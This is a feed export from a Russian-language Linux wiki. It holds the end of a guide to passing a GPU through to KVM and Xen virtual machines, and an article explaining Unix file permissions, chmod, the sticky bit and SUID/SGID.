   #поэтому в них нет необходимости. Ядро само увидит, что pci-stub может работать с 1002 6818 и подключит его.&amp;lt;br/&amp;gt;&lt;br /&gt;
   echo &amp;quot;0000:01:00.0&amp;quot; &amp;gt; /sys/bus/pci/devices/0000\:01\:00.0/driver/unbind &lt;br /&gt;
   echo &amp;quot;0000:01:00.0&amp;quot; &amp;gt; /sys/bus/pci/drivers/pci-stub/bind&lt;br /&gt;
&lt;br /&gt;
   #звуковая карта&lt;br /&gt;
   echo &amp;quot;1002 aab0&amp;quot; &amp;gt; /sys/bus/pci/drivers/pci-stub/new_id &lt;br /&gt;
   echo &amp;quot;0000:01:00.1&amp;quot; &amp;gt; /sys/bus/pci/devices/0000\:01\:00.1/driver/unbind &lt;br /&gt;
   echo &amp;quot;0000:01:00.1&amp;quot; &amp;gt; /sys/bus/pci/drivers/pci-stub/bind&lt;br /&gt;
&lt;br /&gt;
Разумеется лучше это сохранить в виде скрипта, подставив нужные значения.&lt;br /&gt;
&lt;br /&gt;
Можно проверить что все правильно, посмотрев вывод lspci -s 01:00.0 -k&lt;br /&gt;
 01:00.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI PITCAIRN [Radeon HD 7800]&lt;br /&gt;
        Subsystem: Micro-Star International Co., Ltd. Device 2740&lt;br /&gt;
        Kernel driver in use: pci-stub&lt;br /&gt;
        Kernel modules: radeon&lt;br /&gt;
&lt;br /&gt;
В данном случае мы видим, что в данный момент используется драйвер pci-stub, значит все нормально. Разумеется стоит проверить, что он используется и для звуковой карты.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
KVM.&lt;br /&gt;
&lt;br /&gt;
Для начала нужно просто установить kvm и по желанию libvirt c virt-manager, для удобного управления через графический интерфейс. Это можно сделать используя пакетный менеджер вашего дистрибутива.&lt;br /&gt;
&lt;br /&gt;
Поскольку AMD IOMMU(или драйвер в ядре) пока не поддерживает Interrupt Remapping, то нужно передать модулю kvm опцию allow_unsafe_assigned_interrupts=1. Можно или вручную загрузить модуль с помощью modprobe, или создать файл в /etc/modprobe.d/kvm.conf с содержанием и перезагрузить моудль.&lt;br /&gt;
&lt;br /&gt;
   options kvm allow_unsafe_assigned_interrupts=1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Теперь запускаем virt-manager и устанавливаем операционную систему в виртуальную машину как обычно. Если это Windows, то разумеется неплохо бы скачать virtio драйвера и установить их. После того как ОС установленна, можно выключить виртуальную машину и в virt-manager'e добавить нужные PCI устройства, в моем случае это 0000:01:00.0 и 0000:01:00.1. Теперь запускаем гостя снова. Для Windows нужно скачать драйвера с сайта AMD и установить их. &lt;br /&gt;
При установке драйверов Windows может легко уйти в BSOD, так что если не получилось с первого раза, стоит попробовать запустить гостя вновь и попробовать еще. После установки, разумеется нужно будет перезапустить виртуальную машину.&lt;br /&gt;
* На данный момент, kvm при повторном запуске гостя с проброшенной видеокартой вешает всю систему, поэтому, если вы выключили виртуалку, то придется так же перезагружать весь компьютер.&lt;br /&gt;
Теперь, после старта консоль виртуальной машины отключится после загрузки драйвера видеокарты, в случае Windows 7 там остается картинка &amp;quot;Starting Windows&amp;quot;, но само изображение должно уже выводится на проброшенную видеокарту. Хотя на коносль и не будет выводится изображение, тем не менее она будет передавать данные от устройств ввода и можно будет управлять гостем с клавиатуры и мыши как обычную виртуалку.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XEN&lt;br /&gt;
&lt;br /&gt;
Сначала, разумеется, нужно поставить ксен из репозитория дистрибутива.&lt;br /&gt;
&lt;br /&gt;
В отличие от kvm, здесь не нужно никаких дополнительных костылей.&lt;br /&gt;
&lt;br /&gt;
Пример конфигурационного файла, который использовался у меня:&lt;br /&gt;
&lt;br /&gt;
 kernel = &amp;quot;hvmloader&amp;quot;&lt;br /&gt;
 builder='hvm'&lt;br /&gt;
 memory = 3096&lt;br /&gt;
 name = &amp;quot;win7_x64&amp;quot;&lt;br /&gt;
 vcpus=3&lt;br /&gt;
 pae=1&lt;br /&gt;
 acpi=1&lt;br /&gt;
 apic=1&lt;br /&gt;
 vif = [ 'bridge=xenbr0' ]&lt;br /&gt;
 disk = [ &lt;br /&gt;
 'phy:/dev/md0,hda,w',&lt;br /&gt;
 'file:/var/lib/libvirt/images/win7_x64_n_u.iso,hdb:cdrom,r'&lt;br /&gt;
 ]&lt;br /&gt;
 xen_platform_pci=1&lt;br /&gt;
 viridian=1&lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'destroy'&lt;br /&gt;
 device_model = 'qemu-dm'&lt;br /&gt;
 boot='c'&lt;br /&gt;
 sdl=0&lt;br /&gt;
 vnc=1&lt;br /&gt;
 vncconsole=0&lt;br /&gt;
 stdvga=1&lt;br /&gt;
 serial='pty'&lt;br /&gt;
 pci = ['01:00.0', '01:00.1']&lt;br /&gt;
 gfx_passthru=0&lt;br /&gt;
 usbdevice=&amp;quot;tablet&amp;quot;      &lt;br /&gt;
&lt;br /&gt;
В данном случае, в качестве диска для виртуальной машины использовался mdraid массив /dev/md0, если вы хотите использовать образ в виде файла, то в параметре disk, вместо phy:/dev/md0 нужно написать tap:aio:/path/to/file или просто file:/path/to/file&lt;br /&gt;
&lt;br /&gt;
параметр boot говорит xen'у с чего грузиться, &amp;quot;c&amp;quot; - грузиться с диска, &amp;quot;d&amp;quot; - с cdrom'а, так что вначале вам придется поставить там d, чтобы установить ОС.&lt;br /&gt;
&lt;br /&gt;
После того, как поставите нужные параметры, конфиг надо куда нибудь сохранить.&lt;br /&gt;
&lt;br /&gt;
Собственно старт виртуальной машины:&lt;br /&gt;
 xm create /path/to/vmconfig&lt;br /&gt;
&lt;br /&gt;
А для ее управления можно использовать vncviewer, запущенный от обычного пользователя&lt;br /&gt;
 vncviewer :0&lt;br /&gt;
&lt;br /&gt;
Как и в случае с kvm, если вы ставите Windows, то нужно скачать паравиртуальные драйвера для Xen (GPLPV) и драйвер Catalyst для проброшенной видеокарты. &lt;br /&gt;
* так же как и с kvm, установка драйверов запросто может отправить Windows в BSOD, судя по моему опыту, драйвера устанавливаются полностью только раза с третьего.&lt;br /&gt;
После того как все установленно, нужно, разумеется перезагрузить гостя. Поведение будет такое же как и в случае с kvm, т.е. на vnc консоли замрет изображение, но события от устройств ввода она будет передавать гостю. Изображение с виртуальной машины должно передаваться на проброшенную видеокарту.&lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://ompldr.org/vZWVtbQ/fzu1ts3xw5uk.jpg '''Ох, это было чертовски интересно !'''] TODO: Проблема со звуком, Устройства ввода, FLR, Отжать устройство обратно из виртуалки, Ну по фиксы по мелочи.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%B0%D0%B2%D0%B0_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0_%D0%BA_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0%D0%BC&amp;diff=337</id>
		<title>Права доступа к файлам</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%B0%D0%B2%D0%B0_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0_%D0%BA_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0%D0%BC&amp;diff=337"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Операционная система Linux является наследником UNIX, которая изначально создавалась как многопользовательская операционная система. В связи с этим ОС UNIX обладала простой, но гибкой системой ограничения доступа к файлам, которую унаследовала и ОС Linux. Каждому пользователю Linux стоит иметь представление о правах доступа: проверять или изменять их нередко приходится даже тем, у кого Линукс стоит только на домашнем компьютере, на котором никто, кроме хозяина, не работает, так как для некоторых технических целей, в том числе для защиты от взлома и ошибок, на машине почти всегда будет больше одного и даже больше двух аккаунтов, чтобы можно было запускать разные программы с разными правами.&lt;br /&gt;
&lt;br /&gt;
== Как узнать права доступа ==&lt;br /&gt;
В командной строке их можно узнать при помощи команды {{com|ls}} с параметром -l. Для директорий надо указать параметр -d, иначе ls выведет вместо данных о директории данные о всех файлах в ней. Вот пример:&lt;br /&gt;
 $ ls -dl Музыка&lt;br /&gt;
 drwxr-xr-x 14 vasya adm 4096 2011-12-07 23:16 Музыка&lt;br /&gt;
Как это читать, написано ниже, в секции «Символьное обозначение».&lt;br /&gt;
&lt;br /&gt;
Также права доступа можно посмотреть в большинстве файловых менеджеров (нажав правой кнопкой на файл и выбрав пункт «Свойства файла» или нечто подобное). Там они будут показаны в более читаемом виде. Однако очень часто возможности по изменению прав на файл там очень ограниченные: например, нельзя сменить владельца (даже авторизовавшись как root), или нельзя ни проверить, ни поставить SUID-бит и так далее.&lt;br /&gt;
&lt;br /&gt;
== Владелец и группа ==&lt;br /&gt;
Каждому файлу и каталогу в Linux приписан определенный '''пользователь''' (который называется '''владельцем файла''') и определенная '''группа пользователей'''. При создании файла это чаще всего пользователь, создавший файл, и его первичная группа, но владельца и группу можно поменять. Более того, не обязательно, чтобы владелец файла входил в группу, которой «принадлежит» файл.&lt;br /&gt;
&lt;br /&gt;
Владелец файла имеет право '''изменить права доступа к нему'''. Кроме владельца (и [[root|суперпользователя]]) никто не может этого сделать.&lt;br /&gt;
&lt;br /&gt;
У группы файла&amp;lt;ref&amp;gt;Словосочетание «группа файла» звучит коряво, но употребляется.&amp;lt;/ref&amp;gt; никаких прав автоматически не появляется, но владелец может присвоить группе права, отличающиеся от прав всех остальных пользователей.&lt;br /&gt;
&lt;br /&gt;
Владельца файла можно сменить с помощью команды {{com|chown}}, а группу — с помощью {{com|chgrp}} (одновременно сменить группу и владельца можно тоже с помощью ''chown''). Сменить владельца файла обычно может только суперпользователь. Сменить группу с помощью chgrp может и суперпользователь, и обычный пользователь, но только если этот пользователь является владельцем файла и меняет группу на одну из тех, в которые сам входит. Если меняется владелец/группа каталога, изменение не коснется вложенных файлов и каталогов, кроме как если chown/chgrp запущена с параметром -R (recursive).&lt;br /&gt;
== Права доступа к файлам ==&lt;br /&gt;
Для каждого файла существует три полностью разделенных права на доступ:&lt;br /&gt;
&lt;br /&gt;
* '''Право на чтение''' (read) — право прочитать данные из файла.&lt;br /&gt;
* '''Право на запись''' (write) — право изменить данные в файле. Не дает возможности удалить файл (об этом см. ниже), но дает возможность сделать файл пустым.&lt;br /&gt;
* '''Право на исполнение''' (execute) — право выполнить файл как программу. Не требует права на чтение, так как файл будет читать только ядро системы, от имени пользователя чтение производиться не будет.&lt;br /&gt;
&lt;br /&gt;
Для каждого файла в файловой системе сохраняется запись, какие из этих прав есть у владельца файла, у группы файла и у всех остальных пользователей (т.е. у каждого, кто не является владельцем и не входит в группу). Конечно, владельца файла нельзя ограничить в правах, так как он может сам их поменять, но сделать это он должен будет эксплицитно, так что владелец может использовать ограничения для защиты от собственных ошибок. Что касается группы файла, то она обычно обладает либо большими правами, чем остальные пользователи, либо равными, хотя  технически возможно дать ей меньшие права, чем всем остальным.&lt;br /&gt;
&lt;br /&gt;
Сменить права можно с помощью команды {{com|chmod}}. Для этого нужно быть владельцем файла или суперпользователем.&lt;br /&gt;
&lt;br /&gt;
=== Исполнение интерпретируемых программ ===&lt;br /&gt;
Право на исполнение работает так, как описано выше, только в том случае если программа нативная&amp;lt;ref&amp;gt;''Нативной'' (от англ. ''native'') называется программа, которая полностью скомпилирована в машинный код, то есть набор инструкций для процессора, и работает непосредственно под управлением операционной системы. Не все программы, работающие под Linux, нативные. Например, программы на Perl, Python или Java являются интерпретируемыми: они представляют собой набор инструкций для программы-интерпретатора, а она уже формирует инструкции для процессора по ходу выполнения программы. Программы для Windows, запускаемые через Wine, тоже не являются нативными для Linux: они  запускаются не под управлением системы, а под управлением Wine. Ненативная программа не может запуститься без помощи какой-либо нативной программы.&amp;lt;/ref&amp;gt; и запускается запросом к ядру систему на выполнение файла. Если у пользователя есть право на выполнение, ядро загрузит и выполнит программу, пользователю не требуется право на чтение, хотя программа будет исполняться от его имени.&lt;br /&gt;
&lt;br /&gt;
Если программа является скриптом для интерпретатора и запускается запросом на выполнение файла (например, ''./my_program.perl'' или ''aclocal'' — aclocal написана на Perl), то ядро откажется запускать программу без права на исполнение. Если право есть, то ядро проверит первую строчку файла. Если она начинается с символов '''#!''' (называется ''shebang'', иногда ''hashbang''), то содержимое этой строчки будет воспринято как команда для запуска интерпретатора, после которой через пробел нужно вставить путь к файлу. Пример:&lt;br /&gt;
 В начале my_program.perl стоит:&lt;br /&gt;
 #!/usr/bin/perl -w&lt;br /&gt;
 &lt;br /&gt;
 Запускаем:&lt;br /&gt;
 ./my_program.perl&lt;br /&gt;
 Получается:&lt;br /&gt;
 #!/usr/bin/perl -w ./my_program.perl&lt;br /&gt;
 &lt;br /&gt;
 Запускаем:&lt;br /&gt;
 /home/vasya/programs/my_program.perl&lt;br /&gt;
 Получается:&lt;br /&gt;
 /usr/bin/perl -w /home/vasya/programs/my_program.perl&lt;br /&gt;
Интерпретатор запустится от имени пользователя, и ему почти наверняка потребуется право на чтение файла. Не потребуется оно только в хитрых случаях, например, если интерпретатор как-либо передаст команду на запуск другому процессу, работающему от лица другого пользователя, имеющего право на чтение этого файла.&lt;br /&gt;
&lt;br /&gt;
Если пользователь напрямую вызовет интерпретатор, например, так:&lt;br /&gt;
 perl ./my_program.perl&lt;br /&gt;
То тут с точки зрения ядра запускаться будет только интерпретатор, а сама программа будет только читаться эти интерпретатором как обычный файл. Проверит он право на исполнение или нет, зависит от самого интерпретатора. Опять же, почти наверняка потребуется право на чтение.&lt;br /&gt;
== Права доступа к каталогам ==&lt;br /&gt;
Для каталогов действуют те же самые три права, что и для файлов, только они имеют немного другой смысл:&lt;br /&gt;
* '''Право на чтение''' понимается как право получить список имен всех файлов и подкаталогов в каталоге (например, с помощью команды {{com|ls}}.&lt;br /&gt;
* '''Право на запись''' понимается как право создавать и удалять файлы в каталоге.&lt;br /&gt;
* '''Право на исполнение''' понимается как право открыть файл или подкаталог в данном каталоге и право сделать каталог текущим (например, с помощью команды {{com|cd}}). Чтобы открыть файл /a/b/c, нужно иметь право на исполнение корневого каталога (/), каталога /a и каталога /a/b. Но если для какой-нибудь программы каталог /a/b является текущим, и она открывает файл по относительному пути ./c, то ей не требуется право на исполнение каталога /a и корневого каталога. Таким образом, если у пользователя есть право на исполнение каталога, но нет права на его чтение, он может открывать файлы и подкаталоги в нём, если знает их имена.&lt;br /&gt;
&lt;br /&gt;
У каталогов точно так же есть владелец и группа, и у владельца есть те же особые права, что и в случае с файлами.&lt;br /&gt;
&lt;br /&gt;
=== Удаление файлов и sticky bit ===&lt;br /&gt;
Мы отметили выше, что для создания и удаления файлов в каталоге необходимо иметь разрешение на запись в этот каталог. И все. Для удаления файла никаких прав на доступ к самому файлу не нужно.&amp;lt;ref&amp;gt;Почему? Потому что создавая или удаляя файл, вы делаете запись в каталоге, что в нем теперь находится (или больше не находится) такой-то файл. В Linux при помощи т.н. &amp;quot;жестких ссылок&amp;quot; (см. команду {{com|ln}}) можно вообще сделать так, что один и тот же файл будет занесен в разные каталоги под разными именами. Физическое удаление файла происходит после того, как в файловой системе не останется ни одной ссылки на этот файл.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Но это не всегда хорошо. Допустим, для директории /tmp, где хранятся временные файлы, часто выставляют разрешение на запись для всех пользователей: все могут создавать там файлы, они все равно временные. Но можно ли на многопользовательской машине разрешить всем пользователям удалять чужие временные файлы? Нельзя, иначе они смогут нарушить работу чужих программ.&lt;br /&gt;
&lt;br /&gt;
Решением является так называемый sticky bit, иногда называемый флагом ограниченного удаления.&amp;lt;ref&amp;gt;На некоторых других UNIX-подобных системах этот флаг имел другое значение, но в Линуксе только это: ограничение на удаление файлов в директории. Почему bit? См. раздел о том, как на самом деле представлены права доступа.&amp;lt;/ref&amp;gt; Если для директории выставлен sticky bit, то файл в ней сможет удалить исключительно владелец этого файла, а не любой, у кого есть разрешение на запись. Выставляется этот флаг тоже с помощью chmod.&lt;br /&gt;
&lt;br /&gt;
== Права доступа и суперпользователь ==&lt;br /&gt;
Для суперпользователя ([[root]]) права доступа не проверяются. Он может прочитать, изменить и удалить любой файл или каталог, а также сменить владельца, группу или права доступа любого файла или каталога. Единственное ограничение: суперпользователь не может выполнить файл как программу, не имея права на исполнение файла, но он в любом случае может себе это право присвоить тем или иным образом.&lt;br /&gt;
&lt;br /&gt;
== Обозначения для прав доступа ==&lt;br /&gt;
Существует два способа представить права доступа для файла в виде, подходящем для чтения людьми: символьный (латинскими буквами и знаком &amp;quot;-&amp;quot;) и числовой. Команда {{com|ls}} выдает права в символьном обозначении. Команда {{com|chmod}} принимает запись либо в числовом обозначении, либо в своем собственном символьном (в нем указывается, как меняются права, а не какими они должны стать — см. справку по chmod).&lt;br /&gt;
&lt;br /&gt;
=== Символьное обозначение ===&lt;br /&gt;
Чтобы записать права в символьном обозначении, действуйте по следующему алгоритму:&lt;br /&gt;
&lt;br /&gt;
# Если у владельца файла есть право на чтение, запишите &amp;quot;r&amp;quot;, иначе &amp;quot;-&amp;quot;.&lt;br /&gt;
# Если у владельца есть право на запись, запишите &amp;quot;w&amp;quot;, иначе &amp;quot;-&amp;quot;.&lt;br /&gt;
# Если у владельца есть право на исполнение, запишите &amp;quot;x&amp;quot;, иначе &amp;quot;-&amp;quot;.&lt;br /&gt;
# Повторите предыдущие шаги для группы и для всех остальных.&lt;br /&gt;
# Дальше записываются дополнительные символы, в частности, sticky bit (t).&lt;br /&gt;
# В результате получится запись из 9 и более символов, которые и обозначают права доступа.&lt;br /&gt;
Примеры:&lt;br /&gt;
 $ ls -l /etc/mtab&lt;br /&gt;
 -rw-r--r-- 1 root root 704 2011-12-19 21:46 /etc/mtab&lt;br /&gt;
Здесь минус в начале обозначает, что /etc/mtab — обычный файл, а не каталог или особый файл. Он принадлежит пользователю root и группе root. У владельца есть право на чтение и запись, у группы и у остальных есть право только на чтение.&lt;br /&gt;
 $ ls -dl Музыка&lt;br /&gt;
 drwxr-xr-x 14 vasya adm 4096 2011-12-07 23:16 Музыка&lt;br /&gt;
Первый символ d обозначает, что &amp;quot;Музыка&amp;quot; является директорией. Ею владеет пользователь vasya и группа adm. У владельца есть право на чтение, исполнение (так сказать) и запись в каталог, у группы и у остальных есть право на чтение и исполнение.&lt;br /&gt;
 $ ls -l /dev/tty6&lt;br /&gt;
 crw------- 1 root root 4, 6 2011-12-19 21:46 /dev/tty6&lt;br /&gt;
Символ c обозначает, что файл /dev/tty6 является особым файлом — ссылкой на character device. Он принадлежит пользователю root и группе root, у владельца есть право на чтение и запись, у группы и остальных пользователей вообще нет прав на доступ к файлу.&lt;br /&gt;
&lt;br /&gt;
 $ ls -dl /tmp&lt;br /&gt;
 drwxrwxrwt 21 root root 12288 2011-12-26 17:17 /tmp&lt;br /&gt;
Директория /tmp, владелец root, группа root, у владельца, группы и остальных есть права на чтение, запись и исполнение каталога. Установлен sticky bit.&lt;br /&gt;
=== Числовое обозначение ===&lt;br /&gt;
Числовое обозначение прав доступа представляет собой число из четырех восьмеричных цифр. Первая цифра - suid/guid/sticky, вторая цифра - права владельца, третья цифра - права группы, четвертая цифра - права остальных. Описания значений первой цифры ниже в статье, здесь будем считать ее равным 0.&lt;br /&gt;
&lt;br /&gt;
Каждую из второй, третьей и четвертой цифр можно получить по следующему алгоритму:&lt;br /&gt;
# Возьмите число 0.&lt;br /&gt;
# Если у субъекта есть право на чтение, прибавьте 4.&lt;br /&gt;
# Если есть право на запись, прибавьте 2.&lt;br /&gt;
# Если есть право на исполнение, прибавьте 1.&lt;br /&gt;
# Получившееся число от 0 до 7 и есть нужная цифра.&lt;br /&gt;
Примеры:&lt;br /&gt;
* 0777 = rwxrwxrwx (у всех есть права на запись, чтение и исполнение)&lt;br /&gt;
* 0640 = rw-r----- (у владельца есть права на чтение и запись, у группы — только на чтение, у остальных нет доступа)&lt;br /&gt;
* 0755 = rwxr-xr-x (у владельца есть все права, у группы и остальных — только на чтение и исполнение)&lt;br /&gt;
&lt;br /&gt;
Вот примеры вызова chmod с числовой записью прав:&lt;br /&gt;
 #Выставить права rwxr-xr-x на файл /usr/local/myprogram&lt;br /&gt;
 chmod 0755 /usr/local/myprogram&lt;br /&gt;
 #Выставить права rwxr-xr-x на каталог /usr/local/somedir и все вложенные каталоги и файлы&lt;br /&gt;
 chmod -R 0755 /usr/local/somedir&lt;br /&gt;
 #(Но это, обычно, не то, что требуется. См. следующий пример)&lt;br /&gt;
 &lt;br /&gt;
Обычно требуется выставить 0755 для каталогов и 0644 для файлов. В символьном виде это делается одной командой&lt;br /&gt;
 chmod -R u=rwX,go=rX  /usr/local/somedir&lt;br /&gt;
(обратите внимение на большую Х, см. man 1 chmod), а в числовом двумя командами:&lt;br /&gt;
 find /usr/local/somedir -type d -print0 | xargs -0 chmod 0755&lt;br /&gt;
 find /usr/local/somedir -type f -print0 | xargs -0 chmod 0644&lt;br /&gt;
&lt;br /&gt;
Не будем говорить здесь, как записать sticky bit, SUID/SGID и прочее. Если хотите, прочитайте раздел ниже.&lt;br /&gt;
&lt;br /&gt;
==== На самом деле ====&lt;br /&gt;
На самом деле числовая запись представляет собой число из 12 бит, записанное в восьмеричной системе счисления. Последние девять бит числа делятся на три группы по три бита, обозначающие, соответственно, права владельца, группы и остальных. Первый бит в каждой группе — чтение, второй — запись, третий — выполнение. Если право есть, соответствующий бит равен единице, если права нет, то нулю.&lt;br /&gt;
&lt;br /&gt;
Первые три бита обозначают дополнительные флаги: SUID, SGID, Sticky bit&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
* rwxr-xr-x = 000.111.101.101 (двоичн., точки просто для читаемости) = 0755 (восьм.)&lt;br /&gt;
* r-------- = 000.100.000.000 = 0400&lt;br /&gt;
* rwxrwxrwt = '''001'''.111.111.111 = 1777&lt;br /&gt;
* rwxr-sr-t = '''011'''.111.101.101 = 3755&lt;br /&gt;
&lt;br /&gt;
Впрочем, знать этого не обязательно, чтобы понимать числовую запись прав. Но это нужно знать для понимания некоторых команд (например, {{com|umask}}), если они вам нужны, и некоторых системных функций, если вы программист.&lt;br /&gt;
== Как хранятся права доступа ==&lt;br /&gt;
Права доступа и даные о владельце и группе не являются частью содержимого файла, а являются особой записью в файловой системе. Итак, права доступа действуют только для тех файлов, которые находятся на разделах с совместимой ФС, например, ext, ext2, ext3 или ext4, ReiserFS, ZFS и других системах, которые создавались для UNIX/Linux. Файловая система FAT (в т.ч. FAT32), например, прав доступа не поддерживает. NTFS тоже (там своя, несовместимая с UNIX система прав доступа). Ну, конечно, драйвер файловой системы может как-либо сымитировать поддержку прав.&lt;br /&gt;
&lt;br /&gt;
Данные о владельце и группе хранятся в виде их числовых идентификаторов (UID — user id и GID — group id). Поэтому если на компьютере несколько инсталляций Линукса с разными конфигурациями или речь идет о переносном жестком диске или флешке, то может получиться, что на разных конфигурациях один UID/GID соответствует разным пользователя. Только UID суперпользователя всегда 0.&lt;br /&gt;
&lt;br /&gt;
=== Копирование, перемещение и переименование файлов ===&lt;br /&gt;
При копировании или перемещении файла происходят следующие операции:&amp;lt;ref&amp;gt;Список приведен только для понимания того, какие права нужны, и не описывает точно, какие именно операции происходят на самом деле.&amp;lt;/ref&amp;gt;&lt;br /&gt;
# Создается новый файл, владельцем которого становится пользователь, производящий копирование, а группой, скорее всего, его первичная группа. Нужно право на запись в каталог, в котором будет создан файл.&lt;br /&gt;
# Считывается содержимое исходного файла и переписывается в новый. Нужно право на чтение исходного файла.&lt;br /&gt;
# Если производится перемещение, а не копирование, то исходный файл удаляется. Нужно иметь право на запись в каталог, где он находится, и быть владельцем файла, если на каталоге стоит sticky bit.&lt;br /&gt;
Переименование файла можно рассматривать как частный случай перемещения.&lt;br /&gt;
&lt;br /&gt;
Права доступа будут выставлены по умолчанию.&lt;br /&gt;
&lt;br /&gt;
Чтобы скопировать файл с сохранением прав, нужно, чтобы копирующая программа этим озаботилась. Команду {{com|cp}}, например, для этого нужно запустить с параметром '--preserve=mode', а чтобы сохранить данные о владельце и группе — '--preserve=ownership' (чтобы сохранить и то, и другое, запустить с параметром '--preserve=mode,ownership' или с параметром '-p', который аналогичен '--preserve=mode,ownership,timestamps'). Права на файл поменять можно без, так как вы будете владельцем нового файла, а вот чтобы сохранить данные о группе и владельце, нужно иметь право поменять группу и владельца.&lt;br /&gt;
&lt;br /&gt;
=== Передача файлов по сети ===&lt;br /&gt;
Большинство существующих протоколов передачи данных позволяют передать только содержимое файла, а не права доступа.&lt;br /&gt;
&lt;br /&gt;
Единственный популярный формат архивов на сегодняшний день, сохраняющий права доступа UNIX, — это архив {{com|tar}}. Он является чисто архивным форматом, т.е. никак не сжимает файлы. Поэтому архивы tar часто запаковывают еще в один архив, который сжимает данные, например, bz2 или gzip. Итак, для передачи по сети с сохранением прав или, если нужно, для упаковки бэкапов пользуйтесь tar'ом.&lt;br /&gt;
&lt;br /&gt;
Существуют специальные протоколы передачи данных с сохранением данных о владельце и правах, например, [[rsync]].&lt;br /&gt;
&lt;br /&gt;
== Важное замечание о применимости материала статьи ==&lt;br /&gt;
В этой статье мы говорили о базовой системе прав UNIX и Linux. В системе могут существовать дополнительные ограничения, например, квоты на дисковое пространство или полный запрет на исполнение файлов с некоторых разделов диска, которые будут иметь приоритет над этими базовыми правами. Этих ситуаций мы в этой статье не касаемся. Тем более, что Linux является свободным программным обеспечением, так что любой может изменить код как хочет, в том числе так, что он вообще не будет поддерживать описанную систему прав.&lt;br /&gt;
&lt;br /&gt;
== SUID/SGID ==&lt;br /&gt;
Иногда возникает необходимость разрешить многим пользователям запускать определенную программу с большими правами, чем у них есть. В случае, если программа не имеет ошибок или уязвимостей, такое разрешение может быть оправданно и неопасно. Заменить программу без права на запись в ее исполнимый файл нельзя.&lt;br /&gt;
&lt;br /&gt;
Примером может служить программа ''passwd'', служащая для изменения паролей пользователей. В большинстве сетей со многими пользователями администраторы хотели бы, чтобы каждый пользователь мог самостоятельно поменять собственный пароль. Но пароли хранятся в файлах, которые может отредактировать (или даже прочитать) только root, а дать всем пользователям пароль от root'а, конечно, нельзя. Поэтому пользователям дается разрешение запускать программу passwd с теми же правами, что есть у суперпользователя, но passwd сама может определить, запустил ее настоящий root или нет. Если нет, то она воспользуется правами root для редактирования файлов с паролями, но не позволит менять никакого пароля, кроме пароля запустившего ее пользователя.&lt;br /&gt;
&lt;br /&gt;
Такое специальное разрешение выражается в виде права SUID ('''s'''et '''u'''ser '''id''') или SGID ('''s'''et '''g'''roup '''id'''). Если файлу приписано разрешение SUID, то при запуске его как программы он будет запускаться с правами своего владельца, а не запускающего пользователя (но у запускающего пользователя должно быть право на исполнение). Если файлу приписано разрешение SGID, то он будет запускаться с правами своей группы.&lt;br /&gt;
&lt;br /&gt;
Выражение SUID/SGID в выдаче ls таково. Если у файла есть SUID, то вместо &amp;quot;x&amp;quot; в перечислении прав его владельца будет стоять &amp;quot;S&amp;quot; (если у владельца нет прав на исполнение) или &amp;quot;s&amp;quot; (если есть). Пример:&lt;br /&gt;
 $ ls -l $ ls -l /usr/bin/passwd&lt;br /&gt;
 -rwsr-xr-x 1 root root 37140 2011-02-14 23:11 /usr/bin/passwd&lt;br /&gt;
Здесь у владельца есть право на чтение, запись и исполнение, а у остальных — на чтение и исполнение. Но на файл распространяется право SUID, так что при запуске файла программа в нем автоматически получит права своего владельца — пользователя root.&lt;br /&gt;
&lt;br /&gt;
Если на файл распространяется право SGID, то той же самой замене подвергнется &amp;quot;x&amp;quot; в правах группы. Пример:&lt;br /&gt;
 $ ls -l testfile&lt;br /&gt;
 -rwsr-Sr-- 1 vasya adm 0 2011-12-16 18:06 testfile&lt;br /&gt;
При запуске файла testfile он получит права пользователя vasya и группы adm. Однако никто, кроме владельца, не может его запустить. SUID (в отличие от SGID) здесь большого смысла не имеет, пример чисто гипотетический.&lt;br /&gt;
&lt;br /&gt;
Если файл вообще не является программой или если никто не имеет права выполнить файл как программу, то исключая особые ситуации право SUID/SGID большого смысла не имеет. Права SUID/SGID могут распространяться и на директории, но тогда они имеют другой смысл.&lt;br /&gt;
&lt;br /&gt;
Еще раз уточним, чтобы все читатели точно поняли: право SUID указывается в числе прав владельца, а право SGID — в числе прав группы, но это только обозначение. Права эти срабатывают, когда программа запускается, кто бы ее ни запустил. Запускающему пользователю нужно только право на исполнение.&lt;br /&gt;
&lt;br /&gt;
Больше мы в этой статье ничего о SUID/SGID говорить не будем, это тема для отдельной статьи. Здесь мы упоминаем эти права только для того, чтобы читатели о них знали и не пугались, если вдруг в выдаче ls увидят &amp;quot;s&amp;quot; или &amp;quot;S&amp;quot; вместо &amp;quot;x&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
== Access Control Lists ==&lt;br /&gt;
&lt;br /&gt;
Хотя стандартная система прав доступа является достаточно гибкой, иногда и ее бывает недостаточно. В некоторых конфигурациях бывает трудно распределить права доступа, не имея возможности указать различные права для нескольких пользователей или групп пользователей, а не только для одного владельца и одной группы. В этом случае можно использовать механизм, называемый '''Access Control Lists''' (списки контроля доступа). Механизм ACL входит в стандарт POSIX и используется не только в Linux. Отметим, что подобный механизм используется по умолчанию в системе Windows, но он не полностью соответствует POSIX ACL&lt;br /&gt;
&lt;br /&gt;
